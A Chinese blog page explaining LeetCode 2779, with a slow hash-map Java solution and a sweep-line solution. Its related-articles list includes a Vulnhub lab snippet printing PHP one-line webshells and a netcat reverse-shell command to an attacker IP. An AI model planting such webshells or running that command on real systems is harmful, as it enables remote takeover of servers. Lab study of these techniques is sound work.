当前位置: 首页 > news >正文

2779. 数组的最大美丽值

简单翻译一下题目意思:

  • 对于每个 nums[i] 都可以被替换成 [nums[i]-k, nums[i]+k] 区间中的任何数,区间左右是闭的。
  • 在每个数字可以替换的前提下,返回数组中最多的重复数字的数量

第一想法是用一个哈希表,Key 是可以被替换的数,Value 是这个数出现的次数,那最后遍历这个哈希表,找到 Value 最大的就可以。

class Solution {public int maximumBeauty(int[] nums, int k) {int n = nums.length;// 使用哈希表记录每个可能的值出现的次数Map<Integer, Integer> hashMap = new HashMap<>();for (int i = 0; i < n; i++) {// 计算当前元素左右 k 范围内的值int left = nums[i] - k;int right = nums[i] + k;// 在范围内的每个值都增加计数for (int j = left; j <= right; j++) {hashMap.merge(j, 1, Integer::sum);}}int res = 0;// 遍历哈希表,找到出现次数最多的值for (Map.Entry<Integer, Integer> entry : hashMap.entrySet()) {res = Math.max(res, entry.getValue());}return res;}
}

思路是没有问题的,问题是时间复杂度太高,超时。

CleanShot 2024-06-15 at 18.02.56@2x

这时候可以引入扫描线算法,样例 nums = [4,6,1,2], k = 2 对应的替换范围为:

  • [2, 6]
  • [-1, 3]
  • [4, 8]
  • [0, 4]
image-20240615181135890

我们引入一根扫描线,从最小的区间起点开始扫描,计算这根线穿过的最多的区间数量,这个数即我们需要的最多重复数的数量,即「最大美丽值」。

class Solution {public int maximumBeauty(int[] nums, int k) {int n = nums.length;List<List<Integer>> intervals = new ArrayList<>();Arrays.sort(nums);// 为每个数字生成左右区间端点,并存入 intervals 列表for (int i = 0; i < n; i++) {int left = nums[i] - k;int right = nums[i] + k;// 左端点,+1 表示区间开始intervals.add(Arrays.asList(left, 1));  // 右端点,-1 表示区间结束intervals.add(Arrays.asList(right, -1)); }// 排序 intervals,按照左端点升序,左端点相同则按照右端点 +1 在前,-1 在后intervals.sort((a, b) -> {if (a.get(0).equals(b.get(0))) {return b.get(1) - a.get(1);}return a.get(0) - b.get(0);});// 记录最大重叠数int res = 0;// 扫描线变量,记录当前重叠区间数int scan = 0; for (List<Integer> interval : intervals) {// 更新当前重叠区间数scan += interval.get(1); // 更新最大重叠数res = Math.max(res, scan); }// 返回最大重叠数return res; }
}

几个细节:

  • List<Integer> 自定义排序时,记得用 equals 不要用 ==
  • 先按时间排,时间一样再按开始和结束区间排,开始区间在结束区间前处理。
  • 扫描线遇到开始区间,就增加一个重复数,遇到一个结束区间,就减少一个重复数。

相关文章:

2779. 数组的最大美丽值

简单翻译一下题目意思&#xff1a; 对于每个 nums[i] 都可以被替换成 [nums[i]-k, nums[i]k] 区间中的任何数&#xff0c;区间左右是闭的。在每个数字可以替换的前提下&#xff0c;返回数组中最多的重复数字的数量。 第一想法是用一个哈希表&#xff0c;Key 是可以被替换的数…...

数据库修复实例(航线修复)

修复目标 修复回音群岛 (Echo Isles) 到 赞达拉港 (Port of Zandalar) 的航线 SET TRANSPORT_GUID : 32; SET TRANSPORT_ENTRY : 272677; SET CGUID : 850000;-- Adjust transports DELETE FROM transports WHERE guid TRANSPORT_GUID; INSERT INTO transports (guid, entry…...

视频网站下载利器yt-dlp参数详解

yt-dlp 是一个强大的命令行工具&#xff0c;用来下载 YouTube 和其他网站上的视频和音频。它拥有丰富的参数&#xff0c;可以定制下载行为&#xff0c;满足各种需求。本文将详细介绍 yt-dlp 的参数使用。 一、基本参数 -f, –format FORMAT: 指定下载格式&#xff0c;可以用视…...

可解析PHP的反弹shell方法

这里拿vulnhub-DC-8靶场反弹shell&#xff0c;详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar&#xff0c;POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…...

AMSR-MODIS 边界层水汽 L3 每日 1 度 x 1 度 V1、V2 版本数据集

AMSR-MODIS Boundary Layer Water Vapor L3 Daily 1 degree x 1 degree V1 (AMDBLWV) at GES DISC AMSR-MODIS Boundary Layer Water Vapor L3 Daily 1 degree x 1 degree V2 (AMDBLWV) at GES DISC 简介 该数据集可估算均匀云层下的海洋边界层水汽。AMSR-E 和 AMSR-2 的微波…...

Oracle备份失败处理,看这一篇就够了!

作者&#xff1a;IT邦德 中国DBA联盟(ACDU)成员&#xff0c;10余年DBA工作经验&#xff0c; Oracle、PostgreSQL ACE CSDN博客专家及B站知名UP主&#xff0c;全网粉丝10万 擅长主流Oracle、MySQL、PG、高斯及Greenplum备份恢复&#xff0c; 安装迁移&#xff0c;性能优化、故障…...

后端中缓存的作用以及基于Spring框架演示实现缓存

缓存的作用及演示 现在我们使用的程序都是通过去数据库里拿数据然后展示的 长期对数据库进行数据访问 这样数据库的压力会越来越大 数据库扛不住了 创建了一个新的区域 程序访问去缓存 缓存区数据库 缓存里放数据 有效降低数据访问的压力 我们首先进行一个演示 为了演示…...

Python:基础爬虫

Python爬虫学习&#xff08;网络爬虫&#xff08;又称为网页蜘蛛&#xff0c;网络机器人&#xff0c;在FOAF社区中间&#xff0c;更经常的称为网页追逐者&#xff09;&#xff0c;是一种按照一定的规则&#xff0c;自动地抓取万维网信息的程序或者脚本。另外一些不常使用的名字…...

机器人运动学笔记

一、建模 参考资料&#xff1a;https://zhuanlan.zhihu.com/p/137960186 1、三维模型和连杆、关节定义 2、设置z轴 SDH和MDH会不一样&#xff0c;主要的区别在于SDH中坐标系在连杆末端&#xff0c;MDH中坐标系在连杆首端。虽然这里只是给出z轴&#xff0c;但是由于后面原点位…...

webshell三巨头 综合分析(蚁剑,冰蝎,哥斯拉)

考点: 蚁剑,冰蝎,哥斯拉流量解密 存在3个shell 过滤器 http.request.full_uri contains "shell1.php" or http.response_for.uri contains "shell1.php" POST请求存在明文传输 ant 一般蚁剑执行命令 用垃圾字符在最开头填充 去掉垃圾字符直到可以正常bas…...

stm32MP135裸机编程:启动流程分析

0 参考资料 轻松使用STM32MP13x - 如MCU般在cortex A核上裸跑应用程序.pdf STM32MP135AD数据手册.pdf1 stm32MP135裸机启动流程分析 1.1 启动方式 stm32MP135支持8种启动方式&#xff1a; 注&#xff1a; UART和USB启动并不是指通过UART/USB加载程序&#xff0c;而是通过UA…...

在Pycharm使用Github Copilot

文章目录 1.GitHub Copilot 是什么2.注册GitHub Copilot3.官方使用文档4.安装 GitHub Copilot插件5.在Pycharm中使用6.相关功能键7.启用或禁用 GitHub Copilot 1.GitHub Copilot 是什么 GitHub Copilot 是一款 AI 编码助手&#xff0c;可帮助你更快、更省力地编写代码&#xff…...

Docker镜像构建:Ubuntu18.04+python3.10

1、编写 Dockerfile # 使用Ubuntu 18.04作为基础镜像 FROM ubuntu:18.04RUN apt-get update && apt-get install -y \build-essential \curl \zlib1g-dev \libssl-dev \&& rm -rf /var/lib/apt/lists/*ENV PYTHON_VERSION3.10.8RUN curl -O https://www.pytho…...

如何进行LLM大模型推理优化

解密LLM大模型推理优化本质 一、LLM推理的本质以及考量点 LLM推理聚焦Transformer架构的Decoder以生成文本。过程分两步&#xff1a;首先&#xff0c;模型初始化并加载输入文本&#xff1b;接着&#xff0c;进入解码阶段&#xff0c;模型自回归地生成文本&#xff0c;直至满足…...

QLoRA:高效的LLMs微调方法,48G内存可调65B 模型

文章&#xff1a;https://arxiv.org/pdf/2305.14314.pdf 代码&#xff1a;https://github.com/artidoro/qlora概括 QLORA是一种有效的微调方法&#xff0c;它减少了内存使用&#xff0c;足以在单个48GB GPU上微调65B参数模型&#xff0c;同时保留完整的16位微调任务性能。QLOR…...

力扣48. 旋转图像

给定一个 n n 的二维矩阵 matrix 表示一个图像。请你将图像顺时针旋转 90 度。你必须在原地旋转图像&#xff0c;这意味着你需要直接修改输入的二维矩阵。请不要使用另一个矩阵来旋转图像。 示例 1&#xff1a; 输入&#xff1a;matrix [[1,2,3],[4,5,6],[7,8,9]] 输出…...

【踩坑日记】I.MX6ULL裸机启动时由于编译的程序链接地址不对造成的程序没正确运行

1 现象 程序完全正确&#xff0c;但是由于程序链接的位置不对&#xff0c;导致程序没有正常运行。 2 寻找原因 对生成的bin文件进行反汇编&#xff1a; arm-linux-gnueabihf-objdump -D -m arm ledc.elf > ledc.dis查看生成的反汇编文件 发现在在链接的开始地址处&…...

【计算机网络仿真实验-实验2.6】带交换机的RIP路由协议

实验2.6 带交换机的rip路由协议 1. 实验拓扑图 2. 实验前查看是否能ping通 不能 3. 三层交换机配置 switch# configure terminal switch(config)# hostname s5750 !将交换机更名为S5750 S5750# configure terminal S5750(config)#vlan 10 S5750(config-vlan)#exit S57…...

Apache网页优化

一、网页压缩与缓存 注意文章中的http为源代码包安装&#xff0c;配置时指定了mod_deflate、mod_expires、mod_rewrite模块。所有的模块是否生效可以通过在浏览器中找到"开发工具"中的网络选项卡中的信息进行验证&#xff0c;里面有请求报文和响应报文的部分信息。 通…...

OpenCV形态学

什么事形态学处理 基于图像形态进行处理的一些基本方法&#xff1b; 这些处理方法基本是对二进制图像进行处理&#xff1b; 卷积核决定着图像出来后的效果。 一 图像二值化 什么是二值化 将图像的每个像素变成两种值&#xff0c;如0,255. 全局二值化。 局部二值化。 thres…...

1688商品列表API与其他数据源的对接思路

将1688商品列表API与其他数据源对接时&#xff0c;需结合业务场景设计数据流转链路&#xff0c;重点关注数据格式兼容性、接口调用频率控制及数据一致性维护。以下是具体对接思路及关键技术点&#xff1a; 一、核心对接场景与目标 商品数据同步 场景&#xff1a;将1688商品信息…...

WEB3全栈开发——面试专业技能点P2智能合约开发(Solidity)

一、Solidity合约开发 下面是 Solidity 合约开发 的概念、代码示例及讲解&#xff0c;适合用作学习或写简历项目背景说明。 &#x1f9e0; 一、概念简介&#xff1a;Solidity 合约开发 Solidity 是一种专门为 以太坊&#xff08;Ethereum&#xff09;平台编写智能合约的高级编…...

AI书签管理工具开发全记录(十九):嵌入资源处理

1.前言 &#x1f4dd; 在上一篇文章中&#xff0c;我们完成了书签的导入导出功能。本篇文章我们研究如何处理嵌入资源&#xff0c;方便后续将资源打包到一个可执行文件中。 2.embed介绍 &#x1f3af; Go 1.16 引入了革命性的 embed 包&#xff0c;彻底改变了静态资源管理的…...

Docker 本地安装 mysql 数据库

Docker: Accelerated Container Application Development 下载对应操作系统版本的 docker &#xff1b;并安装。 基础操作不再赘述。 打开 macOS 终端&#xff0c;开始 docker 安装mysql之旅 第一步 docker search mysql 》〉docker search mysql NAME DE…...

面向无人机海岸带生态系统监测的语义分割基准数据集

描述&#xff1a;海岸带生态系统的监测是维护生态平衡和可持续发展的重要任务。语义分割技术在遥感影像中的应用为海岸带生态系统的精准监测提供了有效手段。然而&#xff0c;目前该领域仍面临一个挑战&#xff0c;即缺乏公开的专门面向海岸带生态系统的语义分割基准数据集。受…...

音视频——I2S 协议详解

I2S 协议详解 I2S (Inter-IC Sound) 协议是一种串行总线协议&#xff0c;专门用于在数字音频设备之间传输数字音频数据。它由飞利浦&#xff08;Philips&#xff09;公司开发&#xff0c;以其简单、高效和广泛的兼容性而闻名。 1. 信号线 I2S 协议通常使用三根或四根信号线&a…...

Netty从入门到进阶(二)

二、Netty入门 1. 概述 1.1 Netty是什么 Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. Netty是一个异步的、基于事件驱动的网络应用框架&#xff0c;用于…...

深入理解Optional:处理空指针异常

1. 使用Optional处理可能为空的集合 在Java开发中&#xff0c;集合判空是一个常见但容易出错的场景。传统方式虽然可行&#xff0c;但存在一些潜在问题&#xff1a; // 传统判空方式 if (!CollectionUtils.isEmpty(userInfoList)) {for (UserInfo userInfo : userInfoList) {…...

windows系统MySQL安装文档

概览&#xff1a;本文讨论了MySQL的安装、使用过程中涉及的解压、配置、初始化、注册服务、启动、修改密码、登录、退出以及卸载等相关内容&#xff0c;为学习者提供全面的操作指导。关键要点包括&#xff1a; 解压 &#xff1a;下载完成后解压压缩包&#xff0c;得到MySQL 8.…...

【前端异常】JavaScript错误处理:分析 Uncaught (in promise) error

在前端开发中&#xff0c;JavaScript 异常是不可避免的。随着现代前端应用越来越多地使用异步操作&#xff08;如 Promise、async/await 等&#xff09;&#xff0c;开发者常常会遇到 Uncaught (in promise) error 错误。这个错误是由于未正确处理 Promise 的拒绝&#xff08;r…...